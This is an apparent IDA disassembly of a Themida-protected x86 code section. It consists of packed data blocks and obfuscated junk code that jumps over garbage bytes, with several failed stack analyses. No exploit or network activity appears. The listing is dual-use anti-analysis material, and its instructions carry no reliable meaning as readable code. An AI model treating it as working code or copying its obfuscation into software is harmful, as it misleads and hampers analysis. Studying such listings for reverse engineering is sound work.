		dd 0E4760D6Fh, 9F052140h, 0B6C1AEBDh, 6AD3A79Bh, 0DC2BDA19h
		dd 2D2519EDh, 3A60CB59h, 1DFAD720h, 9612C125h, 5D211067h
		dd 357ECF79h, 0DB23D218h, 8AFE76E4h, 1D3A60C8h,	2F070B25h
		dd 3A60C960h, 34BC496Bh, 6680BFC9h, 0D27C92E7h,	3523C249h
		dd 81DD067Ah, 0BFA60FBh, 197DC1F8h, 0CE97DEFh, 0E1447189h
		dd 33443599h, 0D6087CF0h, 0BB9F3075h, 978BC2D2h, 73723623h
		dd 10DA613Bh, 6472799Ch, 3A3CA34Eh, 0F6296A60h,	495236BEh
		dd 0EDD52E5Bh, 9AE05F89h, 0D6FBB59h, 9540E476h,	1ABD85B9h
		dd 0B2CB3A20h, 0BD313B8Fh, 3A7987C9h, 0E600645Eh, 0C66EBB62h
		dd 0DB3F83B2h, 0BFCAED3Ch, 6145EF46h, 81C569FBh, 63A797Fh
		dd 7F26A2CAh, 51A93A79h, 0F710D37Dh, 32397A2h, 80AFAC2Bh
		dd 876C79B3h, 739C4772h, 0F6A72B26h, 302D91A0h,	7B8C7570h
		dd 2F78954Eh, 3E9AE12h,	73000000h, 0D4DE9C84h, 57A009FDh
		dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh
		dd 798871C5h, 0FA0DFC40h, 53CF7BCFh, 0BF57E389h, 54080337h
		dd 440DE781h, 0EF81533Dh, 343A6B1Ah, 94EFF781h,	0FB011BCDh
		dd 4EB835Fh, 5C241C87h,	24F168h, 24348900h, 7F7E68h, 242C8900h
		dd 659EB850h, 81500612h, 1234242Ch, 815E4C45h, 451234C6h
		dd 0C468584Ch, 89000025h, 4812424h, 424h, 0EC835D00h, 24348904h
		dd 0F8242C81h, 8F41915Ch, 45810845h, 915CF808h,	242C8B41h
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0FF5C241Ch, 815E2434h
		dd 4C4h, 13EDE900h, 386FFFF9h, 34AA450Eh, 2001E6D0h, 0EF1DDA29h
		dd 6AB3B87Dh, 0C5030612h, 91D4E0FFh, 2D18520Dh,	0F0717BA6h
		dd 99756B90h, 2E566AB5h, 4F347E7Ah, 0A9FC4FE2h,	0B4194EDEh
		dd 73974CCEh, 0E57B5325h, 68A24E7Dh, 2DD6EBDh, 0A111186Dh
		dd 0A76B7CF5h, 88120E36h, 4B644DE7h, 0CF2A7BEBh, 196E504Eh
		dd 894A7615h, 0D30430FCh, 2C75CB9h, 0CE83340h, 37000000h
		dd 9718CA6Ch, 24960C70h, 81FD1E16h, 79B42AC9h, 8B66581Ah
		dd 0B6C081CEh, 0B9000070h, 7A44ACB7h, 1BF9BEh, 6030FF00h
		dd 0FE8B9h, 0DFD0811Eh,	611D7C20h, 0FFB70F5Ah, 0D7A8EA81h
		dd 0F606E1Ch, 28Ch, 8A5A5000h, 0F28161C8h, 52CCC6F7h, 512B01BBh
		dd 0DDEA814Bh, 8B03DA63h, 14E852F9h, 35000000h,	556FBC5Bh
		dd 0EC6D80A8h, 44828CEAh, 0DFFF6556h, 5FE94A85h, 7E8008Fh
		dd 68000000h, 6476914Ch, 0B70F504Eh, 0E88359CAh, 8C18104h
		dd 4E545EAFh, 1B850Fh, 8B660000h, 33E9D9h, 0D5080000h
		dd 128332ECh, 0D7E63EACh, 95D1A227h, 1B7F1822h,	0A8A0F91h
		dd 0F000000h, 48Fh, 0BBF6600h, 0FF5BE9EFh, 945EFFFFh, 239AB443h
		dd 0D17684D1h, 328D8D01h, 0B306126Dh, 4D8D89BEh, 6A060B17h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 1C1EC351h, 7B3BBA66h, 11985C7h, 6A60060Bh
		dd 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 7338FAC3h, 0EB316Eh,	8B66A007h, 985C7D9h, 60B10h, 0BF000000h
		dd 619D8066h, 2355B5FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0B6D987C3h, 0C595FFD2h
		dd 6A060B0Ah, 0DD95FF00h, 8B060B32h, 810FEBC0h,	0CF73A7B7h
		dd 892D06AFh, 49DF13CAh, 0BE89A93h, 52000000h, 5D5C7659h
		dd 0F4FE446Ah, 0BE83F8Eh, 0EB000000h, 86416DBFh, 3399EE8Dh
		dd 8501CE80h, 60B1599h,	0B52B585Bh, 60B3309h, 5B53C081h
		dd 95230000h, 60B2895h,	68h, 55958900h,	59060B1Bh, 0BE0134FFh
		dd 46AB7D40h, 0FE9575Fh, 83000000h, 93401FDAh, 0D1561823h
		dd 44AC80E1h, 815EA5C8h, 66EA2DF7h, 0B5F28026h,	75D5C781h
		dd 9D2940F4h, 60B05F1h,	0A73FC781h, 89F9522Eh, 0F78B083Ch
		dd 8380E680h, 0E96004E9h, 12h, 0DD9BADA6h, 8C7BA9D0h, 0F82A467Dh
		dd 2B4E014Ch, 890F7EE8h, 5, 3CE431BEh, 0F9816105h, 0FFFFA574h
		dd 0FF8A850Fh, 0FE9FFFFh, 0E3000000h, 0A3929B0Ch, 4B4D8DFFh
		dd 36CF0412h, 0C08B0112h, 187h dup(0)
		dd 840F0000h, 1, 18E0FF8h, 0F5000000h, 6A9DF5h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0C16C64C3h, 56D3BA0h, 18A0F60h, 0F5000000h, 61C88B66h
		dd 78A0F61h, 0F000000h,	18Ah, 6A5DFC00h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 7714C355h
		dd 0F0F84D8h, 1982h, 14E900h, 241E0000h, 0C364B19Eh, 8937735h
		dd 2708E0E0h, 0A1CF058Dh, 4401DCADh, 6A0824h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D0E77FC3h
		dd 0A130B393h, 8E28060h, 880F5861h, 1, 6AC39DFCh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 58A5C357h, 6078C253h, 705E9ABBh, 0E8606119h,	0Fh, 0BD49E1D8h
		dd 0C2FFB29Ah, 33EEA76Ch, 669E33EFh, 58F39CBEh,	58C0Fh
		dd 81660000h, 6142ACC0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0D1C35343h, 0F9AF9E9Ah, 0CE9C08Bh, 83000000h
		dd 0B3DDE4D1h, 66EE305Ah, 0E9149E11h, 0Dh, 2C140B66h, 0BE5BBFA9h
		dd 0CAFDF6EAh, 18D0F0Fh, 0F9000000h, 0AE9h, 0E34D1500h
		dd 4CE3CA79h, 80BEB602h, 66FC9AEBh, 50A8DF81h, 66CFBF0Fh
		dd 6E8FC881h, 0BE9h, 703CEF00h,	51861D3Bh, 0A4FDC047h
		dd 66FB8B66h, 12E8C28Bh, 7C000000h, 6CCF1AB1h, 0CADA6482h
		dd 0FE480086h, 526D3610h, 0B3BE664Eh, 3CBB5960h, 0F503B40h
		dd 6652CFB7h, 5BA17FBFh, 0FCFDC580h, 10E9h, 539C9300h
		dd 0E9724526h, 0F619BDEEh, 1CE73B22h, 0E9D38B34h, 13h
		dd 84C446BFh, 6060F13Bh, 1E63CAF9h, 87889760h, 66E537A6h
		dd 0E9FCD78Bh, 0Eh, 0B357B0D7h,	0AD442F54h, 0CCF1EF81h
		dd 0BF0F4B9Ah, 0E78166F8h, 0E58AFDC7h, 18810Fh,	8F0F0000h
		dd 12h,	0DE9h, 0C5801000h, 1F8FD21Eh, 333FEFEFh, 8B66F16Eh
		dd 811CB1C2h, 0CDA5F4F0h, 8D0FF57Eh, 5,	59EB8166h, 80C68BA4h
		dd 0CB8088F0h, 0CB8B66BDh, 0CE9h, 2BB12F00h, 9C8D9C55h
		dd 0BB7F7805h, 2CD78193h, 0E929327Ch, 11h, 3E6C0B1Eh, 3E7C8A6h
		dd 21A6D9C0h, 4731F214h, 0B9F780E0h, 94CF8160h,	8B2BEA56h
		dd 0DE961C8h, 85000000h, 2CBCAADDh, 0A173C171h,	0A09DDAA9h
		dd 3810Fh, 0C5800000h, 13E580B8h, 5880F60h, 0B9000000h
		dd 21345A43h, 70BF6661h, 0AE91Eh, 32320000h, 60183D19h
		dd 78CACCC1h, 0C25EDB81h, 12E92442h, 0B4000000h, 15C1A0Ch
		dd 0F33FAFFEh, 6881BC95h, 7D3A2395h, 9E954h, 0EADA0000h
		dd 443A784Ah, 0F8FF04Eh, 383h, 0DBB70F00h, 27B966FCh, 830F602Ah
		dd 0Ch,	6E8h, 0AD306F00h, 5B566BF5h, 0B8C0Fh, 5E80000h
		dd 0A1000000h, 87602E08h, 0F576159h, 28Bh, 595A5100h, 6E9h
		dd 7BEC6C00h, 80448AE1h, 0B70F0EE9h, 76DA81FEh,	0F765D3Dh
		dd 0E780C2B7h, 0B70F6089h, 9E881D6h, 61662568h,	81665851h
		dd 0B34BBDE6h, 0CDB96612h, 0F0BA6660h, 0FE88AB8h, 586h
		dd 1988B900h, 5956669Ch, 0C332E381h, 8E918D9h, 0EA000000h
		dd 56AFDF09h, 805DECEEh, 14E960C6h, 0B2000000h,	208FAD52h
		dd 0A1B2FCB7h, 0E0B491BAh, 9F4C2E9Ch, 666A4213h, 8B7B1FBBh
		dd 0E08166CFh, 66608A13h, 0A2B4D281h, 386ED281h, 66616FDAh
		dd 0E97372B9h, 7, 0A385FEB7h, 66A0D618h, 0FF5C68Bh, 0E38AF0BFh
		dd 4850Fh, 0BA660000h, 0D78B2234h, 11E9h, 0DE353800h, 0BBA5CB8Fh
		dd 0B3539721h, 0B201C870h, 59BA5374h, 6049D121h, 11E8h
		dd 0A7ABDD00h, 54DF48E7h, 11E256BBh, 8955782h, 58FC0142h
		dd 8161D18Bh, 3C26C3C8h, 13E963h, 9E4D0000h, 1E160F8h
		dd 0DC0C7689h, 0BFB08FBDh, 7A0B3CD8h, 0B6F860ECh, 66F961FDh
		dd 0B378EE81h, 870F8DB0h, 3, 0FBDDF80h,	0F08BCFB7h, 14E9F9F9h
		dd 0C7000000h, 0E4403A6Ch, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh
		dd 0E95D6186h, 8, 6DBFEBA6h, 0EE8D8641h, 0FB8B66F8h, 0B5C3B70Fh
		dd 1FF3810Dh, 815EC6B9h, 8A533AE3h, 0B759572Eh,	3830FC3h
		dd 0F000000h, 0C880F7BFh, 0C5CE80CBh, 0E9CEB70Fh, 0Eh
		dd 53812969h, 57846075h, 99AAE817h, 5E814F7h, 0BC000000h
		dd 0AE10C602h, 78C08060h, 0CCB65F61h, 0E1CB8166h, 0A880F40h
		dd 0E9000000h, 5, 2F517E49h, 8F0FF5FBh,	0Ch, 68E0Fh, 800F0000h
		dd 0
; ---------------------------------------------------------------------------
		mov	cx, ax
		xor	si, 9597h
		mov	esi, 1853C752h
		jl	loc_5B39E1
		mov	ebx, edi


loc_5B39E1:				; CODE XREF: Themida_:005B39D9j
		jmp	loc_5B39FA
; ---------------------------------------------------------------------------
		mov	esp, 747BF104h
		cmp	bh, [eax-68E26D1Bh]
		pop	edi
		pop	ds
		jmp	fword ptr [ecx]
; ---------------------------------------------------------------------------
		dw 574Fh
		db 38h,	0A6h
; ---------------------------------------------------------------------------


loc_5B39FA:				; CODE XREF: Themida_:loc_5B39E1j
		mov	edx, 2A516B4h
		call	near ptr loc_5B3A09+3
		mov	esp, 0E1A83C07h


loc_5B3A09:				; CODE XREF: Themida_:005B39FFp
		mov	ecx, 5FF51480h
		movzx	ebx, di
		call	sub_5B3A22
		adc	ebp, ebp
		db	64h
		aas
		pop	esi
		retn
; ---------------------------------------------------------------------------
		dd 7739C177h
		db 67h,	2Bh

; =============== S U B	R O U T	I N E =======================================



sub_5B3A22	proc near		; CODE XREF: Themida_:005B3A11p
		call	near ptr loc_5B3A2E+4
		dec	edx
		mov	esp, 51A077CCh
		pop	ecx


loc_5B3A2E:				; CODE XREF: sub_5B3A22p
		imul	ebx, [edx+9E80590h], 0
sub_5B3A22	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 0C1h
; ---------------------------------------------------------------------------
		enter	3B8h, 63h
		popa
		adc	bl, dh
		adc	al, 5Bh
		pop	edi
		pop	edi
		jmp	loc_5B3A59
; ---------------------------------------------------------------------------
		dd 5D49C127h, 6EFC33B5h, 0BE7F5584h, 7CD448A6h
; ---------------------------------------------------------------------------
		dec	esi


loc_5B3A59:				; CODE XREF: Themida_:005B3A43j
		jo	$+6
		mov	ebx, 4DA0911h
		movsx	esi, di
		mov	cx, 7AABh
		jmp	loc_5B3A77
; ---------------------------------------------------------------------------
		dd 0BCBB4ABFh
		db 4Fh,	0C0h, 35h
; ---------------------------------------------------------------------------


loc_5B3A77:				; CODE XREF: Themida_:005B3A6Bj
		pusha
		pusha
		movzx	esi, bx
		popa
		mov	eax, 33FD3150h
		popa
		xor	bx, 8900h
		sub	edi, 362499FFh
		push	edx
		xor	ax, 0BAFEh
		pop	ebx
		mov	dx, ax
		jb	$+6
		xor	edi, 287B29E5h
		jmp	loc_5B3ABD
; ---------------------------------------------------------------------------
		sti
		sub	ah, ah
		mov	edx, 0A4A86946h
		mov	ds:0D0F10B29h, eax
		cmp	eax, 34F992C9h
		jns	short loc_5B3B02


loc_5B3ABD:				; CODE XREF: Themida_:005B3AA4j
		jmp	loc_5B3AD4
; ---------------------------------------------------------------------------
		dw 5BF5h
		dd 2F2A877Ch, 19BFF7FAh, 6591CD40h, 2E28B5B0h
; ---------------------------------------------------------------------------


loc_5B3AD4:				; CODE XREF: Themida_:loc_5B3ABDj
		jmp	loc_5B3ADE
; ---------------------------------------------------------------------------
		db 80h,	0D5h, 0B4h
		db 84h,	0ABh
; ---------------------------------------------------------------------------


loc_5B3ADE:				; CODE XREF: Themida_:loc_5B3AD4j
		mov	ah, 0BEh
		mov	esi, 6A95C489h
		stc
		pusha
		push	ecx
		mov	ax, dx
		pop	ecx
		mov	ecx, 459E54FDh
		popa
		jg	loc_5B3B09
		call	sub_5B3B06
; ---------------------------------------------------------------------------
		db 8Ch,	0F4h, 0D4h
		db 8, 6Bh
; ---------------------------------------------------------------------------


loc_5B3B02:				; CODE XREF: Themida_:005B3ABBj
		sti
		les	ebx, [ebx]
		movsb

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5B3B06	proc near		; CODE XREF: Themida_:005B3AF8p
		push	edx
		pop	ecx
		pop	ecx


loc_5B3B09:				; CODE XREF: Themida_:005B3AF2j
		mov	bx, di
		jno	loc_5B3B2C
		js	loc_5B3B2C
		jmp	loc_5B3B2C
; ---------------------------------------------------------------------------
		db 0F6h, 0BDh, 51h
		dd 0AFAAEEECh, 71D67B2Bh, 5372D7CBh
; ---------------------------------------------------------------------------


loc_5B3B2C:				; CODE XREF: sub_5B3B06+6j
					; sub_5B3B06+Cj ...
		mov	ebx, esi
		mov	ecx, edi
		jmp	loc_5B3B3B
; ---------------------------------------------------------------------------
		db 71h,	9Ch, 0C9h
		db 0F3h, 7Fh, 8Ch
; ---------------------------------------------------------------------------


loc_5B3B3B:				; CODE XREF: sub_5B3B06+2Aj
		sub	dl, 85h
		and	edx, 26372AE5h
		movsx	ecx, di
		jmp	loc_5B3B5D
; ---------------------------------------------------------------------------
		dd 0EA802F50h, 0A473CE58h, 7D9B0D4Ch, 3CDCA8Bh
; ---------------------------------------------------------------------------
		cmpsb


loc_5B3B5D:				; CODE XREF: sub_5B3B06+41j
		mov	dx, 7CC4h
		mov	bx, di
		mov	di, 5238h
		jmp	loc_5B3B72
; ---------------------------------------------------------------------------
		db 0F0h, 51h, 89h
		db 26h,	23h
; ---------------------------------------------------------------------------


loc_5B3B72:				; CODE XREF: sub_5B3B06+62j
		mov	edi, ecx
		movsx	edx, dx
		clc
		mov	si, cx
		stc
		movsx	ebx, ax
		jmp	loc_5B3B97
; ---------------------------------------------------------------------------
		dd 1001368Ch, 0ACD05A53h, 23256574h, 545175CAh
		db 0C5h, 0BAh, 7Dh
; ---------------------------------------------------------------------------


loc_5B3B97:				; CODE XREF: sub_5B3B06+79j
		call	loc_5B3BAF
		scasb
		lea	eax, [esi]
		adc	ebx, [ebx-5Eh]
		std
		faddp	st(7), st
		xor	eax, 4E80B363h
		hlt
sub_5B3B06	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		fidivr	word ptr [eax]
		pop	ss
		inc	ebx


loc_5B3BAF:				; CODE XREF: sub_5B3B06:loc_5B3B97p
		stc
		pop	eax
		mov	eax, 0CDF0B72h
		mov	ebx, edx
		mov	edi, 22B8A361h
		mov	ecx, 2805B3E0h
		movsx	edx, di
		movzx	eax, ax
		mov	al, dl
		jmp	loc_5B3BE1
; ---------------------------------------------------------------------------
		db 15h
		dd 0B018ADE5h, 86F9A44Eh, 399396F5h, 9065B101h
		db 26h
; ---------------------------------------------------------------------------


loc_5B3BE1:				; CODE XREF: Themida_:005B3BCAj
		jmp	loc_5B3BF4
; ---------------------------------------------------------------------------
		dw 2A19h
		dd 0D2D476C1h, 3D1515BDh, 9A45BE3Ch
; ---------------------------------------------------------------------------


loc_5B3BF4:				; CODE XREF: Themida_:loc_5B3BE1j
		mov	di, cx
		jle	$+6
		add	si, 24E0h
		push	esi
		or	bh, 2Ah
		pop	esi
		mov	edx, esi
		jmp	loc_5B3C1F
; ---------------------------------------------------------------------------
		dw 7A5Dh
		dd 93718E4Eh, 3402EA42h, 0E5B0B5C8h
		db 1Ah,	1Bh, 0A2h
; ---------------------------------------------------------------------------


loc_5B3C1F:				; CODE XREF: Themida_:005B3C09j
		call	loc_5B3C38
		sub	[edi+3EFD426Ch], ecx
; ---------------------------------------------------------------------------
		dw 0CCC5h
		dd 0C13710Eh, 993A62Bh,	0A30067D6h
; ---------------------------------------------------------------------------


loc_5B3C38:				; CODE XREF: Themida_:loc_5B3C1Fp
		sub	di, 0EFAEh
		pop	esi
		jle	loc_5B3C47
		and	dl, 6Eh


loc_5B3C47:				; CODE XREF: Themida_:005B3C3Ej
		jbe	loc_5B3C50
		movsx	edi, bx


loc_5B3C50:				; CODE XREF: Themida_:loc_5B3C47j
		pusha
		xor	al, 0E8h
		js	loc_5B3C73
		jmp	loc_5B3C73
; ---------------------------------------------------------------------------
		retf	1BB9h
; ---------------------------------------------------------------------------
		dw 4D1Bh
		dd 0DE1A6619h, 6D9C3546h, 4BF21650h
		db 9, 1Eh, 0CEh
; ---------------------------------------------------------------------------


loc_5B3C73:				; CODE XREF: Themida_:005B3C54j
					; Themida_:005B3C5Aj
		popa
		push	edi
		jmp	loc_5B3C7F
; ---------------------------------------------------------------------------
		dw 7096h
; ---------------------------------------------------------------------------
		cmc
		sal	cl, 1


loc_5B3C7F:				; CODE XREF: Themida_:005B3C75j
		pop	edx
		adc	si, 0CD2Dh
		jmp	loc_5B3C93
; ---------------------------------------------------------------------------
		dw 7A5Eh
; ---------------------------------------------------------------------------
		shl	dword ptr [esi-1F249DA7h], 7Dh


loc_5B3C93:				; CODE XREF: Themida_:005B3C85j
		mov	ebx, 51C2CF13h
		jmp	loc_5B3CA8
; ---------------------------------------------------------------------------
		db 6Bh,	0B9h, 9Ah
		dd 3E4C1F76h, 0E54B0E06h
; ---------------------------------------------------------------------------


loc_5B3CA8:				; CODE XREF: Themida_:005B3C98j
		or	bl, 0A4h
		jb	loc_5B3CB6
		xor	di, 0D71Eh


loc_5B3CB6:				; CODE XREF: Themida_:005B3CABj
		mov	cx, 8845h
		cld
		mov	esi, 699D945Dh
		adc	ah, 63h
		jmp	loc_5B3CD1
; ---------------------------------------------------------------------------
		dd 0BEB596CFh, 2A20AC9Ch
		db 32h
; ---------------------------------------------------------------------------


loc_5B3CD1:				; CODE XREF: Themida_:005B3CC3j
		jmp	loc_5B3CE2
; ---------------------------------------------------------------------------
		dw 337Ch
		dd 0D5B97C95h, 0FF861363h
		db 76h,	0EAh
; ---------------------------------------------------------------------------


loc_5B3CE2:				; CODE XREF: Themida_:loc_5B3CD1j
		jnz	$+6
		xor	esi, 7A611659h
		mov	al, 40h
		pusha
		popa
		jp	loc_5B3CFD
		mov	esi, 3F264CE3h


loc_5B3CFD:				; CODE XREF: Themida_:005B3CF2j
		add	esi, 63548D01h
		mov	esi, 3552B57Ch
		mov	eax, esi
		mov	edx, eax
		jmp	loc_5B3D18
; ---------------------------------------------------------------------------
		db 0A0h, 92h, 0Ah
		dd 0A819D718h
; ---------------------------------------------------------------------------


loc_5B3D18:				; CODE XREF: Themida_:005B3D0Cj
		adc	ax, 5376h
		pusha
		jmp	loc_5B3D30
; ---------------------------------------------------------------------------
		db 4Eh
		dd 0EDA3087Ch, 0E8D0168Eh, 0CEA99DADh
; ---------------------------------------------------------------------------


loc_5B3D30:				; CODE XREF: Themida_:005B3D1Ej
		or	edx, 72079E5Ah
		popa
		mov	ebx, eax
		movzx	esi, bx
		stc
		mov	ch, 70h
		movzx	esi, cx
		jmp	loc_5B3D53
; ---------------------------------------------------------------------------
		enter	550Eh, 41h
		fisub	word ptr [ebx+52h]
		push	esp
		mov	word ptr [eax+ebp-19h],	es


loc_5B3D53:				; CODE XREF: Themida_:005B3D42j
		mov	ax, 0B55Ch
		sbb	edi, 31B26FDAh
		mov	ebx, 0A45AF67h
		mov	ebx, edi
		add	cx, 1939h
		jnb	loc_5B3D88
		call	sub_5B3D81
		pop	esp
; ---------------------------------------------------------------------------
		db 8Fh,	0F9h, 0Fh
		dd 173B728Fh, 5C15AA6Ch
		db 2Ah

; =============== S U B	R O U T	I N E =======================================



sub_5B3D81	proc near		; CODE XREF: Themida_:005B3D6Fp
		ja	$+6
		pop	esi


loc_5B3D88:				; CODE XREF: Themida_:005B3D69j
		movzx	eax, di
		and	bx, 8BDCh
		mov	dh, 9Ah
		call	sub_5B3DA8
		or	dword ptr [eax], 1D69950Eh
		mov	esp, 505F8249h
		enter	59E1h, 0DBh
		mov	cl, 3Fh
sub_5B3D81	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B3DA8	proc near		; CODE XREF: sub_5B3D81+11p
		pusha
		and	ebx, 6B6E5D48h
		jmp	loc_5B3DC3
; ---------------------------------------------------------------------------
		sub	al, 77h
		add	[ebx], dl
		lodsd
		cmpsb
		mov	ebp, 0F73E9F81h
		and	ebx, [eax+edi*4-59h]


loc_5B3DC3:				; CODE XREF: sub_5B3DA8+7j
		popa
		pop	ebx
		mov	cx, si
		mov	eax, ebx
		jmp	loc_5B3DD6
; ---------------------------------------------------------------------------
		mov	ah, 0EBh
		add	eax, 3929B19Dh


loc_5B3DD6:				; CODE XREF: sub_5B3DA8+22j
		push	ebx
		jmp	loc_5B3DE9
; ---------------------------------------------------------------------------
		dd 1D35A147h
; ---------------------------------------------------------------------------


loc_5B3DE0:				; CODE XREF: sub_5B3DA8+91j
		nop
		push	cs
		insd
		pop	edx
		sub	al, [edi]
		leave
; ---------------------------------------------------------------------------
		db 4
; ---------------------------------------------------------------------------


loc_5B3DE9:				; CODE XREF: sub_5B3DA8+2Fj
		pop	edx
		mov	di, ax
		jmp	loc_5B3E00
; ---------------------------------------------------------------------------
		dw 6969h
		dd 9B2838B9h, 7EA68CCEh, 38BCB610h
; ---------------------------------------------------------------------------


loc_5B3E00:				; CODE XREF: sub_5B3DA8+45j
		js	loc_5B3E08
		mov	esi, edi


loc_5B3E08:				; CODE XREF: sub_5B3DA8:loc_5B3E00j
		movzx	edx, si
		add	al, 0E1h
		xor	bx, 5842h
		movsx	eax, dx
		push	esi
		movsx	ebx, dx
		pop	eax
		add	ebx, 308B36BCh
		mov	dx, si
		call	sub_5B3E3B
		mov	ebp, 0DF4CEEF6h
		mov	bh, bl
		xchg	eax, esp
		xchg	eax, edx
		xchg	eax, esi
		adc	ah, [ecx+6236DF1Ah]
		loop	loc_5B3DE0
sub_5B3DA8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B3E3B	proc near		; CODE XREF: sub_5B3DA8+7Cp
		stc
		pop	eax
		jmp	loc_5B3E4E
; ---------------------------------------------------------------------------
		dw 94B3h
		dd 7C96F406h, 740082B0h
		db 69h,	9Eh
; ---------------------------------------------------------------------------


loc_5B3E4E:				; CODE XREF: sub_5B3E3B+2j
		jmp	loc_5B3E5C
; ---------------------------------------------------------------------------
		db 8
		dd 5E7F353Bh, 0DED69E83h
; ---------------------------------------------------------------------------


loc_5B3E5C:				; CODE XREF: sub_5B3E3B:loc_5B3E4Ej
		xor	edi, 15DEF261h
		mov	dh, 32h
		mov	ecx, 3979916Ch
		pusha
		movsx	ecx, bx
		sub	ebx, 4F7C76A8h
		popa
		jmp	loc_5B3E8C
; ---------------------------------------------------------------------------
		db 8, 35h, 0AEh
		dd 1188B17Ah, 11BC0568h, 0B3E12214h, 808BA33Eh
; ---------------------------------------------------------------------------


loc_5B3E8C:				; CODE XREF: sub_5B3E3B+39j
		sbb	bx, 60B5h
		push	eax
		stc
		pop	ebx
		mov	ebx, 6480084Eh
		mov	esi, edx
		xor	bh, 0FCh
		mov	ecx, 2D345300h
		movsx	ecx, dx
		mov	cx, dx
		add	ebx, 20D4D0B4h
		mov	di, 1260h
		and	esi, 6F8D4546h
		sbb	di, 9040h
		jmp	loc_5B3ECE
; ---------------------------------------------------------------------------
		db 56h
		dd 0A28EE117h, 0B2F8B072h
; ---------------------------------------------------------------------------
		test	ebp, edi


loc_5B3ECE:				; CODE XREF: sub_5B3E3B+83j
		movsx	ecx, ax
		movzx	esi, si
		mov	ebx, 7D07D731h
		movzx	edi, bx
		mov	si, 4A69h
		jmp	loc_5B3EF6
; ---------------------------------------------------------------------------
		db 0FFh, 0FCh, 3Ah
		dd 0CCA95BF0h, 9DB51B2h, 8A0CC40Eh
		db 81h,	2Eh
; ---------------------------------------------------------------------------


loc_5B3EF6:				; CODE XREF: sub_5B3E3B+A5j
		jmp	loc_5B3F08
; ---------------------------------------------------------------------------
		sub	esi, [edx+5Fh]
		cmp	byte ptr [edx-3044A496h], 7
		cdq
		push	38h


loc_5B3F08:				; CODE XREF: sub_5B3E3B:loc_5B3EF6j
		mov	si, 0DB66h
		mov	cx, 72C5h
		pusha
		popa
		cld
		jno	loc_5B3F1C
		mov	di, ax


loc_5B3F1C:				; CODE XREF: sub_5B3E3B+D8j
		add	eax, 66F76401h
		mov	ax, dx
		mov	edi, ecx
		jz	loc_5B3F2F
		mov	dl, bl


loc_5B3F2F:				; CODE XREF: sub_5B3E3B+ECj
		movsx	eax, di
		call	near ptr loc_5B3F3D+2
		stosb
		mov	ds:551A7776h, al


loc_5B3F3D:				; CODE XREF: sub_5B3E3B+F7p
		xor	eax, 5FD98B69h
sub_5B3E3B	endp ; sp-analysis failed

		mov	esi, edi
		mov	dx, ax
		xor	di, 5496h
		jmp	loc_5B3F5F
; ---------------------------------------------------------------------------
		daa
		adc	al, 0E8h
		sbb	dword ptr [esi+ecx*8], 419A224Fh
		mov	ch, 8Fh
		cmp	[esi], ch


loc_5B3F5F:				; CODE XREF: Themida_:005B3F4Cj
		push	ecx
		xor	ebx, 7923BAD1h
		pop	edi
		and	esi, 614039B3h
		mov	esi, edx
		mov	bx, cx		; CODE XREF: Themida_:005B3FAAj
		movsx	edi, di
		mov	ax, bx
		clc
		xor	esi, 6C7121D1h
		movsx	edx, cx
		mov	dl, 83h
		pusha
		ja	near ptr loc_5B3F92+5
		call	near ptr loc_5B3F92+4
		sub	al, 84h


loc_5B3F92:				; CODE XREF: Themida_:005B3F8Bp
					; Themida_:005B3F85j
		arpl	[eax+66582723h], si
		sub	esi, 0E96142DAh
		sldt	word ptr [eax]
		add	al, ah
		repne and eax, 296AA08Ah
		dec	esp
		loopne	near ptr loc_5B3F6F+1
		outsb
		cld
		sbb	edi, [edi+eax*8-18h]
		or	[eax], al
; ---------------------------------------------------------------------------
		dd 0FD00000h, 6605AAFCh, 0B70FF83Eh, 0FFC58D8h,	0EDB8F8BFh
		dd 6643F2C8h, 0A4ABDF81h, 5DD98166h, 0FE6DB9DDh, 81661287h
		dd 603F3DD0h, 8E9h, 4BEED00h, 1759F5EBh, 0AE96Ah, 26930000h
		dd 9D6BEA05h, 0F98C3707h, 0D6BF0F61h, 4820F51h,	66000000h
		dd 5F43C6B9h, 0D9B699B7h, 356AB6BFh, 5BF5571Bh,	66F88B66h
		dd 44CBEA81h, 0CE857h, 26560000h, 0D0700B22h, 7DFDFBE2h
		dd 8F0FA20Dh, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	edx
		jmp	loc_5B4053
; ---------------------------------------------------------------------------
		db 0CEh
		dd 0E4B3E738h, 15088E67h, 0A6B020B2h, 0EE2F9E1Ah
; ---------------------------------------------------------------------------
		jmp	short loc_5B4059
; ---------------------------------------------------------------------------
		db 65h
; ---------------------------------------------------------------------------


loc_5B4053:				; CODE XREF: Themida_:005B403Aj
		jz	loc_5B405C


loc_5B4059:				; CODE XREF: Themida_:005B4050j
		movsx	ebx, cx


loc_5B405C:				; CODE XREF: Themida_:loc_5B4053j
		mov	dx, 0BB51h
		call	near ptr loc_5B4072+6
		call	far ptr	1386h:6F578C15h
		fist	dword ptr [ebx+106ED0ECh]


loc_5B4072:				; CODE XREF: Themida_:005B4060p
		mov	byte ptr [esi-0A506B26h], 0B3h
		push	edx
		pop	edx
		jnz	loc_5B4087
		jp	$+6


loc_5B4087:				; CODE XREF: Themida_:005B407Bj
		jmp	loc_5B40A0
; ---------------------------------------------------------------------------
		dd 1957E6BEh, 0A4E3E228h, 2ADD73Ch, 0BF4F810Dh,	26155461h
; ---------------------------------------------------------------------------


